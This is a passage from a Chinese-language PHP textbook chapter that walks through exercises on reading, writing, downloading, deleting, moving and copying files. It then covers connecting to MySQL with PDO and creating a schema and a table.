    在这种情况下,读取长度为 4 KB,完整文件读取需要 65,537 次迭代,使用峰值 2 MB 的内存。脚本读取整个文件耗时 0.3 秒,这并不坏,但可以通过增加读取长度到一个更大的值来改进;这正是我们下一步要做的。

  14. 现在,运行相同的命令,指定 1 MB 的块大小:

    time php fread-memory.php sample/test-256-mb.txt 1048576 
    

    现在的输出如下:

    --
    257 iteration(s): memory 4.00MB
    --
    real    0m 0.08s
    user    0m 0.02s
    sys     0m 0.05s
    

如预期的那样,读取整个 256 MB 文件所需的时间减少了(从 0.3 秒减少到 0.08 秒),因为读取长度更高(1 MB 与 4 KB 相比,导致峰值内存使用量为 4 MB 与 2 MB),并且所需的迭代次数减少到 257 次。

现在,看看这些数据,我们可以提出自己的想法,了解幕后发生的事情。在file_get_contents()的情况下,读取 10 MB 文件时使用了 12.01 MB 的峰值内存;这是因为整个文件都是使用这种方法加载到内存中的。256 MB 的文件导致脚本关闭,因为达到了 128 MB 的限制。

另一方面,似乎fread方法在持续时间和内存使用方面都做得很好。以 4 KB 的数据块读取 10 MB 文件,脚本使用 2 MB 的内存,而file_get_contents的情况下为 12 MB,而读取时间显著更长(fread()为 0.05 秒,而file_get_contents()为 0.03 秒)。尽管如此,以 1 MB 的数据块读取相同的文件,我们在性能方面得到了类似的结果,但我们仍然比file_get_contents情况下使用的内存少得多(4 MB 与 12 MB 相比)。

现在,如果我们稍微增加一下规模,会发生什么呢?使用file_get_contents()读取 256 MB 文件因内存耗尽而无法完成。但看看第二种方法——不仅整个文件被读取,而且在这个过程中只使用了 2 MB 的内存!读取耗时大约 0.3 秒,这并不令人满意,但让我们看看当读取长度增加,因此迭代次数减少时会发生什么。现在我们得到了更好的结果——读取时间为 0.08 秒,内存峰值 4 MB。

正如你所见,方便的方法——使用file_get_contents()——更适合处理小文件或非常小的文件,而处理大文件则需要你使用不同的方法,例如fread(),它读取数据块;fgets(),它从文件指针一次读取整行;以及fgetcsv(),它与fgets()类似,但除此之外,它还将 CSV 字符串行解析成包含数据的数组。

逐行读取文件

如前所述,还有更多方法可以从大文件中进行优化读取。在接下来的练习中,你将学习如何使用 PHP 逐行读取文件。这特别有助于当一条记录对应一行时,例如在访问或错误日志中,这样读取文件可以一次处理一个数据记录。

练习 7.4:逐行读取文件

在这个练习中,我们将打开一个文件并逐行读取它:

  1. 创建一个名为 fgets.php 的文件,并添加以下内容。和前面的例子一样,我们定义文件路径并获取文件指针。如果失败,脚本将带错误信息退出:

    <?php
    $filePath = __DIR__ . '/sample/users_list.csv';
    $fileResource = fopen($filePath, 'r');
    if ($fileResource === false) {
        exit(sprintf('Cannot read [%s] file.', $filePath));
    }
    
  2. 接下来,我们将 $lineNumber 变量初始化为值 0。然后,就像在 fread() 的情况下一样,我们执行迭代以分块读取数据。这次,使用 fgets(),我们将一次获取一行。然后,该行被编号并打印到输出。最后,我们关闭文件资源指针,因为我们不再需要它:

    $lineNumber = 0;
    while (!feof($fileResource)) {
        $lineNumber++;
        $line = fgets($fileResource);
        echo sprintf("Line %d: %s", $lineNumber, $line);
    }
    fclose($fileResource);
    echo PHP_EOL;
    
  3. 使用命令行工具 php fgets.php 运行前面的脚本。输出将如下所示:

    Line 1: John,Smith,2019-03-31T10:20:30Z
    Line 2: Alice,Smith,2019-02-28T12:13:14Z
    Line 3:
    

    如你所注意到的,我们有一个没有内容的行——这实际上是一个 CSV 文件中的空行。在尝试处理数据时,请注意处理文件行;在继续处理之前,至少检查非空行。

读取 CSV 文件

之前的示例展示了逐行读取文件的一个便捷方法。在我们的案例中,这是一个 CSV 文件,一个非常简单的文件,以逗号作为分隔符,就这么多。但是,如果你必须处理一个复杂的 CSV 文档呢?幸运的是,PHP 提供了一个内置函数来处理这种情况,称为 fgetcsv()。使用它,我们可以一次获取一条记录;没错,一条记录,而不是一行,因为记录可以分布在多行中,包含封装的数据(例如,在引号之间包装的多行数据)。

练习 7.5:读取 CSV 文件

在这个练习中,我们将从 CSV 文件中读取数据:

  1. 创建一个名为 fgetcsv.php 的文件,并添加以下内容。和之前一样,我们声明文件路径并获取文件指针。如果发生错误,脚本将带错误信息退出:

    <?php
    $filePath = __DIR__ . '/sample/users_list_enclosed.csv';
    $fileResource = fopen($filePath, 'r');
    if ($fileResource === false) {
        exit(sprintf('Cannot read [%s] file.', $filePath));
    }
    
  2. 然后,我们将 $recordNumber 变量初始化为值 0;我们将需要它来为每一行打印输出。然后,我们使用 fgetcsv() 函数在 while 循环中逐条读取 CSV 记录,打印记录编号及其内容:

    $recordNumber = 0;
    while (!feof($fileResource)) {
        $recordNumber++;
        $line = fgetcsv($fileResource);
        echo sprintf("Line %d: %s", $recordNumber, print_r($line, true));
    }
    fclose($fileResource);
    echo PHP_EOL;
    
  3. sample/ 目录下创建一个名为 users_list_enclosed.csv 的文件,内容如下:

    John,Smith,2019-03-31T10:20:30Z,"4452 Norma Lane
    Alexandria
    71302 Louisiana"
    Alice,Smith,2019-02-28T12:13:14Z,"4452 Norma Lane
    Alexandria
    71302 Louisiana"
    
  4. 使用 php fgetcsv.php 运行脚本,输出将如下所示:

![图 7.5:打印数组

![img/C14196_07_05.jpg]

图 7.5:打印数组

如你所注意到的,fgetcsv() 函数做得非常好,为我们正确地解析了 CSV 条目。无论 CSV 内容是否有自定义分隔符、封装符或转义字符,所有这些参数都可以作为函数参数传递给 fgetcsv(),以便解析器理解格式并执行适当的解析。

使用 PHP 下载文件

我们看到了如何使用各种方法让脚本读取文件,以便我们可以对内容进行操作。但还有下载的情况,当我们需要脚本读取文件并将其作为对 HTTP 请求的响应发送给用户时,我们不希望 PHP 进程因这样做而超载内存,类似于分块读取并发送用户小部分内容。幸运的是,有一个函数可以做到这一点,它被称为 readfile()。这个函数读取文件并将其直接写入输出缓冲区。readfile() 函数只需要读取的文件路径。其他可选参数是一个布尔值,它告诉函数在 PHP 的 include_path 中搜索文件,以及一个作为第三个参数的上下文流资源。

上下文流是一组针对特定包装器(构建其他代码的代码片段)的选项,它修改或增强流的行为。例如,当我们想使用 FTP 读取远程文件时,我们将文件路径作为 readfile() 函数的第一个参数传递,并将有效的 FTP 上下文流变量作为第三个参数。在接下来的练习中,我们将不会使用上下文流。

练习 7.6:下载文件

在这个练习中,我们将使用 PHP 下载一个文件并将其保存到指定的位置:

  1. 创建一个名为 download.php 的文件,并插入以下内容。首先,我们定义现有文件路径,然后继续设置头部信息,在这里我们使用 filesize() 函数来返回正在下载的文件字节数,以及 basename() 函数,它返回路径的最后一个组成部分;换句话说,它将裁剪目录结构,只保留文件名。最后,我们调用 readfile() 函数,以便 PHP 可以将文件发送回服务器和客户端,作为对 HTTP 请求的响应:

    <?php
    $filePath = 'sample/users_list.csv';
    header('Content-Type: text/csv');
    header('Content-Length: ' . filesize($filePath));
    header(sprintf('Content-Disposition: attachment; filename="%s"', basename($filePath)));
    readfile($filePath);
    

    确保您已在本目录(在我的例子中是 /app)中启动了内置服务器,并在终端中运行 php -S 127.0.0.1,并且文件确实存在。

  2. 然后,访问 http://127.0.0.1:8080/download.php 上的脚本。您应该会看到一个弹出框询问保存 CSV 文件的位置,或者根据您的浏览器配置,它将自动保存到设置的位置:

图 7.6:下载 CSV 文件

图 7.6:下载 CSV 文件

注意

应该检查文件是否在磁盘上存在,并相应地处理每种情况。当文件缺失时,readfile() 将不输出任何内容,浏览器可能会接收到 PHP 脚本的输出(在我们的例子中是 download.php 的输出)。

使用 PHP 写入文件

使用 PHP 写入文件是可能的,可以使用多种方法,其中大多数涉及 fwrite()file_put_contents() 内置函数。

fwrite() 函数接受两个必需的参数,第一个是文件指针,第二个是要写入文件的字符串。函数返回写入的字节数或失败时的布尔 false

file_put_contents() 等同于调用 fopen()fwrite()fclose() 序列。

注意

当在单个 PHP 进程中多次写入文件时,出于性能考虑,建议使用 fwrite() 方法,因为流资源被重用,并且避免了每次写入时都发生的文件打开和关闭操作(fopen()fclose())。使用 fwrite() 而不是 file_put_contents() 的一个很好的例子是文件日志记录器,在 PHP 进程的生命周期内可能会多次写入同一个文件。

第一个必需的参数是文件名,第二个是要写入文件的数据。数据可以是字符串、资源流或字符串的单维数组,行将按顺序写入。第三个参数是可选的,接受写入操作的标志。这可以是以下值的任意组合:

图 7.7:file_put_contents() 函数的不同标志及其描述

图 7.7:file_put_contents() 函数的不同标志及其描述

当使用 fwrite 方法时,我们可能希望使用相同的数据流资源进行读取;例如,在写入后移动文件指针到文件开头,或读取数据的最后 N 个字节。在这种情况下,我们将使用 fseek() 函数。此函数将文件指针(记得之前的光标类比?)设置到特定位置。函数签名如下:

fseek(resource $handle, int $offset [, int $whence = SEEK_SET ]) : int

新位置,以字节为单位,是通过将偏移量添加到 $whence 指定的位置获得的。

$whence 的值可以是:

  • SEEK_SET – 将文件指针的位置设置为 offset 字节。如果没有指定,这是默认选项。

  • SEEK_CUR – 将文件指针的位置设置为当前位置加上 offset

  • SEEK_END – 将文件指针的位置设置为 EOF 加上 offset

练习 7.7:向文件写入

在下面的练习中,我们将使用前面描述的 fwrite()file_put_contents() 函数在文件中执行写入操作:

  1. 创建一个名为 write.php 的文件,并插入以下内容:

    <?php
    $fileFwrite = 'sample/write-with-fwrite.txt';
    $fp = fopen($fileFwrite, 'w+');
    $written = fwrite($fp, 'File written with fwrite().' . PHP_EOL);
    

    首先,我们定义要写入的文件路径,然后使用 fopen() 函数打开文件指针。

    注意

    在尝试打开或向文件中写入内容之前,务必确保已创建目录结构。按照我们的示例,你应该确保当前工作目录中存在 sample/ 目录。

  2. 接下来,我们尝试使用 fwrite() 函数向文件写入,并将输出存储在 $written 变量中:

    if (false === $written) {
        echo 'Error writing with fwrite.' . PHP_EOL;
    } else {
        echo sprintf("> Successfully written %d bytes to [%s] with fwrite():", $written, $fileFwrite) . PHP_EOL;
        fseek($fp, 0);
        echo fread($fp, filesize($fileFwrite)) . PHP_EOL;
    }
    

    如果写入失败($written 是布尔值 false),则我们打印错误消息并继续脚本。否则,我们打印成功消息,指示写入的字节数。之后,为了从文件中读取,我们使用 fseek() 函数将指针移动到文件开头,位置为零。然后,我们只打印文件内容以测试写入的数据。

  3. 要测试第二种方法,我们在 sample/ 目录内定义 write-with-fpc.txt 文件,然后尝试使用 file_put_contents() 函数写入文件,并将输出存储在相同的 $written 变量中:

    $fileFpc = 'sample/write-with-fpc.txt';
    $written = file_put_contents($fileFpc, 'File written with file_put_contents().' . PHP_EOL);
    
  4. 与前一个例子一样,如果我们未能写入文件,则打印错误消息并继续脚本。在写入成功的情况下,我们打印消息,指示写入文件中的字节数,然后是实际文件内容:

    if (false === $written) {
        echo 'Error writing with fwrite.' . PHP_EOL;
    } else {
        echo sprintf("> Successfully written %d bytes to [%s] with file_put_contents():", $written, $fileFwrite) . PHP_EOL;
        echo file_get_contents($fileFpc) . PHP_EOL;
    }
    

    注意

    整个脚本可以在 packt.live/2MCkeOJ 上找到。

  5. 使用 php write.php 从命令行运行脚本。输出应该如下所示:

图 7.8:使用不同方法写入文件

图 7.8:使用不同方法写入文件

在这个练习中,我们使用两种不同的方法——file_put_contents()fwrite()——在两个不同的文件中写入字符串序列。

恭喜!你刚刚成功使用 PHP 写入了文件。

练习 7.8:在文件中追加内容

我们已经看到如何在文件中写入新内容,但通常,你只是想向现有文件中添加内容——比如某种日志,例如。在这个练习中,你将学习如何使用 PHP 向文件追加内容:

  1. 创建一个名为 write-append.php 的文件,并使用前一个练习中的代码,进行两项小的修改。首先,我们想要更改 fopen() 模式,从 w+ 改为 a+(从读写改为写入追加和读取):

    $fp = fopen($fileFwrite, 'a+');
    
  2. file_put_contents() 函数的第三个参数添加为 FILE_APPEND 常量:

    $written = file_put_contents($fileFpc, 'File written with file_put_contents().' . PHP_EOL, FILE_APPEND);
    
  3. 使用 php write-append.php 从命令行界面运行脚本,你将得到以下结果:

图 7.9:脚本的结果

图 7.9:脚本的结果

重复运行脚本会打印相同的成功消息,并且由于 append 指令,每次运行后每个文件中的句子数量都会增加。

在文件中追加内容在日志记录和生成文件内容以执行进一步下载等用例中非常有用。

其他文件系统函数

当涉及到处理文件系统时,PHP 提供了丰富的支持。所有这些函数都可以在 packt.live/2MAsLmw 上探索。此外,我们还将介绍 PHP 中一些最广泛使用的文件系统函数。

使用 PHP 删除文件

unlink()是删除文件的函数。它需要一个文件路径作为第一个参数,并接受一个可选的上下文流。如果文件成功删除,则返回TRUE,否则返回FALSE

在删除文件之前,最好先检查文件路径是否指向一个实际的文件,为此我们可以使用is_file()函数。此函数只需要文件路径作为第一个参数。如果找到文件并且是常规文件,则返回TRUE,否则返回FALSE

练习 7.9:使用 PHP 删除文件

当在 PHP 中处理文件内容时,你很可能想要清理一些旧文件。在这个练习中,我们将编写使用 PHP 删除文件的代码:

  1. sample/目录中创建一个名为to-delete.txt的空文件。这是我们用 PHP 要删除的文件。

  2. 创建一个名为delete.php的文件,并插入以下代码:

    <?php
    $filepath = 'sample/to-delete.txt';
    if (is_file($filepath)) {
        if (unlink($filepath)) {
            echo sprintf('The [%s] file was deleted.', $filepath) . PHP_EOL;
        } else {
            echo sprintf('The [%s] file cannot be deleted.', $filepath) .           PHP_EOL;
        }
    } else {
        sprintf('The [%s] file does not exist.', $filepath) . PHP_EOL;
    }
    

    在这个脚本中,我们使用is_file()函数检查文件是否存在并且是一个常规文件。对于常规文件,接下来我们测试文件删除;即负责此操作的unlink()函数的输出,然后根据输出打印适当的消息。如果文件不存在,将打印一个通知此情况的提示信息。

  3. 在命令行界面中运行脚本。使用php delete.php,你会注意到以下输出:

    The [sample/to-delete.txt] file was deleted.
    

    再次运行脚本将打印以下内容:

    The [sample/to-delete.txt] file does not exist.
    

    这意味着delete操作确实已成功执行。

在这个练习中,当第一次运行脚本时,所有条件都满足以运行文件删除,并且文件确实被删除了。当第二次运行脚本时,脚本无法找到指定路径的文件,因此脚本在退出之前立即返回文件不存在的消息。

使用 PHP 移动文件

有时,你可能需要将文件移动到新的位置,例如,移动到存档中。这可能适用于数据库数据转储或日志文件等情况。PHP 提供了一个用于移动功能的函数,称为rename(),它需要一个实际的文件路径作为第一个参数,以及目标文件路径作为第二个参数。此函数在成功时返回TRUE,在失败时返回FALSE,并且可以用于文件和目录。

有时,目标目录可能尚未存在,在这些情况下,应该由脚本创建。有一个用于创建目录的函数,称为mkdir(),它接受以下参数:要创建的目录路径、模式(默认为0777,意味着任何用户都有完全权限)、递归创建目录指令和上下文资源。

练习 7.10:创建目录并将文件移动到存档

在这个练习中,你将使用 PHP 将文件移动到本地服务器。假设你被分配了一个创建脚本的任务,该脚本将每天将生成的日志文件移动到“存档位置”:

  1. 创建一个名为to-move.txt的空文件。这是我们使用 PHP 移动的文件,将其视为生成的日志文件。

  2. 创建一个名为move.php的文件,并插入以下内容。首先,我们定义要移动的文件路径和文件应移动到的目标目录。然后,我们检查文件路径是否存在并且是一个常规文件,如果失败,脚本将打印错误消息并停止执行:

    <?php
    $filePath = 'sample/to-move.txt';
    $targetDirectory = 'sample/archive/2019';
    if (!is_file($filePath)) {
        echo sprintf('The [%s] file does not exist.', $filePath) . PHP_EOL;
        return;
    }
    
  3. 然后,我们检查目标目录是否存在并且是一个目录,如果没有这样的目录,那么我们将尝试创建一个。关于此的消息将被打印出来,让你知道目录正在被创建。然后,使用mkdir()函数以递归方式创建目标目录(将第三个参数设置为true将指示脚本在缺少的情况下创建任何父目录)。如果操作失败,则打印错误消息并停止脚本执行。否则,将打印成功的消息“完成”:

    if (!is_dir($targetDirectory)) {
        echo sprintf('The target directory [%s] does not exist. Will create...       ', $targetDirectory);
        if (!mkdir($targetDirectory, 0777, true)) {
            echo sprintf('The target directory [%s] cannot be created.',           $targetDirectory) . PHP_EOL;
            return;
        }
        echo 'Done.' . PHP_EOL;
    }
    
  4. 接下来,我们将定义目标文件路径,它将包括目标目录和文件基本名称。然后,使用rename()函数执行移动过程。对于成功或失败的操作都会打印一条消息:

    $targetFilePath = $targetDirectory . DIRECTORY_SEPARATOR .   basename($filePath);
    if (rename($filePath, $targetFilePath)) {
        echo sprintf('The [%s] file was moved in [%s].', basename($filePath),       $targetDirectory) . PHP_EOL;
    } else {
        echo sprintf('The [%s] file cannot be moved in [%s].',       basename($filePath), $targetDirectory) . PHP_EOL;
    }
    

    注意

    完整的脚本文件可以参考:packt.live/35wmDmK

  5. 在命令行界面中运行脚本,使用php move.php。第一次运行时的输出应该如下所示:

    The target directory [sample/archive/2019] does not exist. Will create... Done.
    The [to-move.txt] file was moved in [sample/archive/2019].
    

    检查文件树,你会发现文件确实已经移动了:

![图 7.10:文件树截图img/C14196_07_10.jpg

图 7.10:文件树截图

此外,当第二次运行脚本时,你应该得到以下输出:

The [sample/to-move.txt] file does not exist.

在这个练习中,你成功使用 PHP 及其内置的文件系统函数将文件从一个位置移动到另一个位置,同时验证输入,以确保你没有尝试移动一个不存在的文件。

使用 PHP 复制文件

复制文件是 PHP 提供的另一个简单任务的支持。copy()函数接受两个必需参数——源文件路径和目标路径,以及一个可选参数——流上下文。使用copy()函数在以下场景中非常有用,例如从服务器上可用的图片列表中选择你的个人资料图片(在这种情况下,你希望保持图片列表完整,因此你只希望创建所选图片的副本),或者恢复从备份中复制的文件(再次,你希望保持原始文件完整,因此在这种情况下copy()也是合适的)。

注意

使用copy()函数,如果目标文件已存在,它将被覆盖。

练习 7.11:复制文件

你需要编写一个脚本,将特定的文件复制到备份位置。复制的文件应该具有 .bak 扩展名前缀:

  1. sample 目录内创建一个名为 to-copy.txt 的空文件。

  2. 创建一个包含以下内容的 copy.php 文件:

    <?php
    $sourceFilePath = 'sample/to-copy.txt';
    $targetFilePath = 'sample/to-copy.txt.bak';
    if (!is_file($sourceFilePath)) {
        echo sprintf('The [%s] file does not exist.', $sourceFilePath) .       PHP_EOL;
        return;
    }
    

    首先,我们定义源文件路径和目标文件路径,然后检查源文件是否存在。如果源文件不存在,会打印出错误消息,并且脚本执行停止。

  3. 接下来,我们尝试使用 copy() 函数复制文件。根据 copy() 函数的响应,会打印出适当的消息:

    if (copy($sourceFilePath, $targetFilePath)) {
        echo sprintf('The [%s] file was copied as [%s].', $sourceFilePath,       $targetFilePath) . PHP_EOL;
    } else {
        echo sprintf('The [%s] file cannot be copied as [%s].',       $sourceFilePath, $targetFilePath) . PHP_EOL;
    }
    

    注意

    完整的脚本可以参考 packt.live/2plXtXu

  4. 在命令行界面中运行文件,使用 php copy.php 并检查结果;在成功执行 copy 操作的情况下,你应该得到以下输出:图 7.11:成功复制文件

    图 7.11:成功复制文件

  5. 将脚本中的 $sourceFilePath 改为一个不存在的文件路径(例如,wrong-file-path.txt),然后再次运行脚本。输出将如下所示:

图 7.12:尝试复制一个不存在的文件

图 7.12:尝试复制一个不存在的文件

如你所见,使用 PHP 复制文件是一个相当直接的过程。

在这个练习中,你学习了如何使用 PHP 处理文件,从文件创建和写入开始,继续到追加、重写和删除,然后是复制和移动,最后是逐行读取大文件并将文件发送下载。

数据库

在上一节中,我们看到了如何使用 PHP 操作和存储文件中的数据。但是当应用程序依赖于结构化数据时,使用文件系统会变得相当复杂,尤其是在应用程序增长,数据也随之增长的情况下。想象一下一个社交媒体网站,其中包含大量的数据关系,包括帖子评论、兴趣、友谊、群组和大量的其他关联数据。此外,随着应用程序的增长,可扩展性成为一个重要的因素。这就是你想要使用数据库的时候,以便能够以不同的方式查询数据——排序、过滤、部分数据、组合数据(连接),并且同时以非常高效的方式进行。数据库管理系统DBMS)用于对数据库数据进行操作(创建、读取、更新和删除)。此外,由于数据库中的不同类型的数据与其他数据类型相关联,你可能希望你的数据存储具有准确性、一致性和可靠性。在这种情况下,你更倾向于使用关系型 DBMS。

MySQL 是一个关系型数据库管理系统RDBMS),并且与 PHP 最常用。它非常快,可靠,易于使用(它使用结构化查询语言SQL)查询),并且免费使用。它适用于从小到大的各种应用程序。它非常强大,快速,安全且可扩展。

MySQL 数据库以表格形式存储数据,就像任何其他关系型数据库一样。一个表由相关的数据组成,这些数据按行(记录)和列(记录字段)组织。

PHP 支持多种数据库,如 MySQL、PostgreSQL、SQLite、MongoDB、MSSQL 等,但在这个章节中,我们将使用 MySQL,因为它是目前与 PHP 配合使用最广泛的数据管理系统。

图形用户界面客户端

通常,图形用户界面(GUI 或“桌面应用程序”)客户端在执行数据库中的各种操作时非常有用,例如验证数据、更改表或列、导出或导入数据以及迁移数据库。

对于 MySQL,推荐使用三个客户端:

此外,对于截图,我将使用 Workbench 来测试 MySQL 服务器中的数据,但可以使用这些工具中的任何一个。

连接到 MySQL

要使用 MySQL 服务器与 PHP 一起工作,需要安装一些扩展。通常,一个扩展是一个组件,它公开了mysqliPDO扩展。它们在功能和语法方面非常相似,除非你需要从某个扩展中获取特定功能,否则选择要与之工作的扩展不应造成任何困难。只需选择一个即可。

由于 PDO 似乎是使用最广泛的选择,我们将选择这个扩展进行进一步的练习。

PHP 数据对象PDO)是一个轻量级且紧凑的接口,用于通过 PHP 访问数据库。

要继续,请确保您已按照前言中描述的安装 MySQL。此外,请考虑 MySQL 服务器正在监听127.0.0.1,端口3306,用户名设置为php-user,密码设置为php-pass

注意

对于 Windows 操作系统,第七章代码片段中的数据库用户名 php-user 需要替换为 php_user。这是因为 MySQL 的 Windows 安装程序不允许用户名中包含连字符。

确保您已安装PDO扩展和pdo_mysql驱动程序,以便建立连接并向 MySQL 服务器发送查询。

注意

pdo_mysql驱动程序是一个提供上述 PDO 扩展接口的扩展。此驱动程序是一个组件,它使得与 MySQL 服务器通信成为可能,在双方之间翻译指令。

在终端中通过运行php -m来列出所有已安装和启用的扩展,或通过php -m | grep -i pdo来列出仅匹配pdo字符串片段的条目。后者应输出以下两个条目:

图片

图 7.13:检查已启用的扩展

注意

grep 是一个 Unix 函数,用于在文件或字符串输入中搜索文本,并默认通过输出返回匹配的行。|(管道)标记用于将前一个命令的输出(php -m)作为输入传递给下一个命令。

为了进一步进行,让我们创建一个新的目录,我们将在此目录中编写数据库相关的练习(例如,database)。

连接到 MySQL

MySQL 连接是通过实例化 PDO 对象来发起的。它接受数据库源(DSN)作为第一个参数,可选地,如果需要,还包括用户名、密码和 PDO 选项。

语法如下:

PDO::__construct(string $dsn [, string $username [, string $password [, array   $options ]]])

参数:

  • 数据源名称:mysql: 后跟由分号分隔的键值对列表;这些元素将在此列出。

  • username:用于连接数据库的用户名。

  • password:用于验证用户名的密码。

  • options: MySQL(特定驱动程序)连接选项的关联数组。

DSN 允许以下元素:

  • host:数据库所在的主机名。

  • port:数据库服务器监听此端口号。

  • dbname:数据库名称。

  • charset:连接的字符集(数据将使用此字符集传输)。

  • unix_socket:MySQL Unix 套接字;用作主机和端口连接类型的替代。

作为良好的实践,建议将连接字符集设置为 utf8mb4;这样,如果你必须使用此连接存储和检索 UTF-8 字符,你将避免进一步的困难(你最终必须这样做)。

PDO 类的一个方法是 getAttribute(),它返回数据库连接属性,例如服务器信息和连接状态。PDO::getAttribute() 方法需要并接受一个整数类型的参数;即 PDO::ATTR_* 常量之一。有关 PDO 属性和其他常量的完整列表,请访问官方文档页面 www.php.net/manual/en/pdo.constants.php

练习 7.12:连接到 MySQL

在这个练习中,你将使用 PDO 连接到 MySQL 服务器。

  1. 创建一个名为 connect.php 的文件,并添加以下内容。在我们的脚本中,我们首先定义 MySQL 数据库的 DSN,将主机指向 127.0.0.1,端口指向 3306

    <?php
    $dsn = "mysql:host=127.0.0.1;port=3306;charset=utf8mb4";
    
  2. 接下来,我们设置 PDO 选项,在 $options 变量下,我们指定获取模式,默认将所有记录作为关联数组获取。我们还想将错误模式设置为 Exceptions,以便更容易处理查询错误,但到目前为止,我们将使用 PDO::errorCode()PDO::errorInfo() 方法:

    $options = [
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    //    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ];
    

    注意

    我们将在下一章学习异常和错误处理。

  3. 在下一行,我们调用PDO对象,从而使用之前定义的 DSN、用户名、密码和上述PDO选项建立到数据库的连接。如果连接失败,将抛出异常(PDOException类型)并停止脚本的执行:

    $pdo = new PDO($dsn, "php-user", "php-pass", $options);
    
  4. 在最后一步,我们希望打印连接信息,使用PDO::getAttribute()方法:

    echo sprintf(
            "Connected to MySQL server v%s, on %s",
            $pdo->getAttribute(PDO::ATTR_SERVER_VERSION),
            $pdo->getAttribute(PDO::ATTR_CONNECTION_STATUS)
        ) . PHP_EOL;
    
  5. 在命令行界面中运行文件php connect.php。当连接成功时,输出将如下所示:

    Connected to MySQL server v5.7.23, on 127.0.0.1 via TCP/IP
    

    在连接失败的情况下,输出将如下所示:

    PHP Fatal error: Uncaught PDOException: SQLSTATE[HY000] [1045] Access denied for user 'php-user'@'127.0.0.1' (using password: YES) in /app/connect.php:8
    Stack trace:
    #0 /app/connect.php(8): PDO->__construct('mysql:host=127....', 'php-user', 'wrongpwd', Array)
    #1 {main}
      thrown in /app/connect.php on line 8
    

    在连接失败的情况下,最好处理错误并以优雅的方式回退到一个看起来不错的错误页面,提供友好的错误信息。然而,在这种情况下,我们将保持脚本现状,因为 PHP 异常将在下一章中介绍。

这里,你使用 PDO 和用户名、密码连接到 MySQL,并且为PDO对象设置了一些选项。你还从 PDO 连接属性中打印了服务器版本和连接状态。

创建数据库

现在我们已经学习了如何与 MySQL 服务器建立连接,让我们继续看看如何创建数据库。

要做到这一点,我们不得不运行 SQL 查询;这就是我们使用PDO方法的地方。

我们将调用PDO::exec()方法将 SQL 查询发送到 MySQL 服务器。它只接受一个参数:SQL 查询字符串,在出错时返回布尔false,在成功时返回受影响的行数。

警告:由于此函数可以返回布尔false0(零),它们都评估为false,所以在测试结果时,请确保使用===!==运算符,以避免在检查错误时出现假阳性。

在查询失败的情况下(PDO::exec()返回false),我们可以调用PDO::errorInfo()方法来获取错误代码和错误信息。此方法返回一个包含以下数据的数字数组:

图 7.14:PDO::errorInfo()返回的数组中数据类型的描述

图片

图 7.14:PDO::errorInfo()返回的数组中数据类型的描述

创建新数据库的查询具有以下语法:

CREATE SCHEMA db_name,其中db_name应替换为你想要创建的数据库的名称。

注意

CREATE SCHEMA 是一个 SQL 语句。它可以在任何 SQL 客户端中使用 SQL 服务器执行。语法和更多信息可以在官方文档页面上找到,链接为 packt.live/32ewQSK

练习 7.13:创建数据库

在这个练习中,我们将创建一个数据库并运行查询:

  1. 创建一个名为connection-no-db.php的文件,并插入以下代码:

    <?php
    $dsn = "mysql:host=127.0.0.1;port=3306;charset=utf8mb4";
    $options = [
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, "php-user", "php-pass", $options);
    return $pdo;
    

    这与我们在上一个练习中做的是类似的,只是我们不是打印连接信息,而是返回 PDO 实例。在这个文件中,我们没有指定数据库名,因为我们还没有创建一个。

  2. 创建一个名为 create-schema.php 的文件,并插入以下代码。首先,我们从之前创建的 connection-no-db.php 文件中需要 PDO 实例:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection-no-db.php';
    

    然后,我们在 $sql 变量下编写我们的 SQL 查询,这将创建一个名为 demo 的数据库:

    $dbname = 'demo';
    $sql = "CREATE SCHEMA $dbname";
    
  3. 使用 PDO::exec() 方法运行查询,并检查语句执行是否成功(结果不是布尔值 false)。在成功的情况下,我们打印一个简单的成功消息。在出错的情况下,我们打印错误消息:

    if ($pdo->exec($sql) !== false) {
        echo "The database '$dbname' was successfully created." . PHP_EOL;
    } else {
        list(, , $driverErrMsg) = $pdo->errorInfo();
        echo "Error creating the database: $driverErrMsg" . PHP_EOL;
    }
    
  4. 使用命令行界面运行代码 php create-schema.php。当第一次运行代码时,你会得到以下输出:图 7.15:成功创建模式

图 7.15:成功创建模式

依次运行代码,你会得到以下错误消息:

图 7.16:创建模式错误

图 7.16:创建模式错误

在这个练习中,你学习了我们可以如何创建数据库以及如何测试 SQL 语句 CREATE SCHEMA 的成功执行。

创建表

现在我们来看看我们如何创建一个将数据以有组织的方式存储的表。我们将使用 CREATE TABLE SQL 语句来实现这一点。这个语句的语法更复杂,还涉及到表列定义。

标准的 CREATE TABLE 语法如下:

CREATE TABLE [IF NOT EXISTS] tbl_name
(
  col_name data_type [NOT NULL | NULL] [DEFAULT default_value] [AUTO_INCREMENT]    [UNIQUE [KEY]] [[PRIMARY] KEY]
  ...
)

参数如下:

  • tbl_name:要创建的表名。

  • col_name:列名。

  • data_type:列持有的数据类型,如日期、时间戳、整数、字符串和 JSON。更多信息可以在 packt.live/32CWosP 找到。

  • default_value:当 insert 语句没有为该行列提供数据时的默认值。

一个示例 CREATE TABLE 查询可以如下所示:

CREATE TABLE users
(
    id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
    email VARCHAR(254) NOT NULL UNIQUE,
    signup_time DATETIME DEFAULT CURRENT_TIMESTAMP NOT NULL
)

在这个语句中,我们指向表名 – users,有三个列,如下所示:

  • id:整数类型;不为空;自增的主键;这些约束告诉 MySQL,该列是主键,意味着它在表中是唯一的,并将用于识别表中的唯一记录。AUTO_INCREMENT 关键字告诉 MySQL,我们希望这个值自动设置为“自增”值,即在我们不指定它时,是最后一条插入记录 ID 的下一个更高整数。这很有用,因为我们可以在不知道下一个 ID 值的情况下执行 INSERT 语句。

  • email: 一种长度可变字符类型,最大长度为 254;不可为空;且在记录中是唯一的。关于此规则,当插入具有相同"email"值的另一条记录时,MySQL 服务器将拒绝该语句,并返回错误。

  • signup_time: 日期时间类型;默认为当前时间;不可为空。在insert查询中未指定此值时,MySQL 服务器将设置当前日期时间值。

    警告

